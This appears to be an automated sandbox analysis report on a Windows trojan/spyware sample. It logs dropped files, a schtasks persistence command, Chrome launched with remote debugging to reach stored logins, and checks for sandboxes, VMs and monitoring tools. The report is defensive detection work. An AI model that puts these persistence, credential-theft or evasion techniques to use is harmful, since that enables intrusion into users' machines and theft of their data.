Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C695A70 appears 77 times
One or more processes crash
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 752
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: file.exe Static PE information: Section: ftuqfubw ZLIB complexity 0.9945291227787332
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@20/7@10/4
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\DGdQGkLyQR Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\JStVXPURjEhqLJtWBhCN
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7160
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2680:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000004.00000002.2662458742.00001CEC0041F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000003.2671267930.0000000007291000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677795909.00000000072A5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 31%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2156,i,15042374084107540991,13338194139832377864,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 752
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2156,i,15042374084107540991,13338194139832377864,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: file.exe Static file information: File size 4388352 > 1048576
Source: file.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x277800
Source: file.exe Static PE information: Raw size of ftuqfubw is bigger than: 0x100000 < 0x1b4200
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E38230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 7_2_00E38230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: file.exe Static PE information: real checksum: 0x437d4a should be: 0x43b5dd
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: ftuqfubw
Source: file.exe Static PE information: section name: rwnetmjt
Source: file.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: unmYCIPOHmXNjqOesrEy.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E3A521 push es; iretd 7_2_00E3A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C670C30 push eax; mov dword ptr [esp], edi 7_2_6C670DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C63ED10 push eax; mov dword ptr [esp], ebx 7_2_6C63EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C608E7A push edx; mov dword ptr [esp], ebx 7_2_6C608E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C614E31 push eax; mov dword ptr [esp], ebx 7_2_6C614E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60A947 push eax; mov dword ptr [esp], ebx 7_2_6C60A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C628AA0 push eax; mov dword ptr [esp], ebx 7_2_6C62909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C610AA2 push eax; mov dword ptr [esp], ebx 7_2_6C610AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C612AAC push edx; mov dword ptr [esp], ebx 7_2_6C612AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C63EAB0 push eax; mov dword ptr [esp], ebx 7_2_6C63EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C642BF0 push eax; mov dword ptr [esp], ebx 7_2_6C642F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C642BF0 push edx; mov dword ptr [esp], ebx 7_2_6C642F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C628460 push eax; mov dword ptr [esp], ebx 7_2_6C628A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C608435 push edx; mov dword ptr [esp], ebx 7_2_6C608449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6004E0 push eax; mov dword ptr [esp], ebx 7_2_6C6006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60048B push eax; mov dword ptr [esp], ebx 7_2_6C6004A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5E1CFA push eax; mov dword ptr [esp], ebx 7_2_6C696622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5E1CFA push eax; mov dword ptr [esp], ebx 7_2_6C696622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60A5A7 push eax; mov dword ptr [esp], ebx 7_2_6C60A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C642620 push eax; mov dword ptr [esp], ebx 7_2_6C642954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C642620 push edx; mov dword ptr [esp], ebx 7_2_6C642973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6066F3 push edx; mov dword ptr [esp], ebx 7_2_6C606707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6006FD push eax; mov dword ptr [esp], ebx 7_2_6C6006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6186A1 push 890005EAh; ret 7_2_6C6186A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6006A2 push eax; mov dword ptr [esp], ebx 7_2_6C6006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6006A6 push eax; mov dword ptr [esp], ebx 7_2_6C6006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6506B0 push eax; mov dword ptr [esp], ebx 7_2_6C650A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60A777 push eax; mov dword ptr [esp], ebx 7_2_6C60A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60070E push eax; mov dword ptr [esp], ebx 7_2_6C6006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C610042 push eax; mov dword ptr [esp], ebx 7_2_6C610056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5DE0D0 push eax; mov dword ptr [esp], ebx 7_2_6C696AF6
Source: file.exe Static PE information: section name: ftuqfubw entropy: 7.9557383167776985
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B9D58 second address: 10B9D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B1EA4 second address: 10B1EB2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FB39CDCA206h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B1EB2 second address: 10B1EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B8CF7 second address: 10B8CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B8FE1 second address: 10B8FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B8FE5 second address: 10B9026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FB39CDCA20Ah 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB39CDCA212h 0x00000017 jmp 00007FB39CDCA20Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B91BC second address: 10B91C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B9356 second address: 10B935A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B935A second address: 10B936C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jnp 00007FB39CE8BFC6h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B94A9 second address: 10B94AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B94AD second address: 10B94B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B94B3 second address: 10B94BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B95FD second address: 10B9603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B9603 second address: 10B9608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B9608 second address: 10B960D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B960D second address: 10B9613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BB8DE second address: 10BB8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB39CE8BFCEh 0x0000000b rdtsc
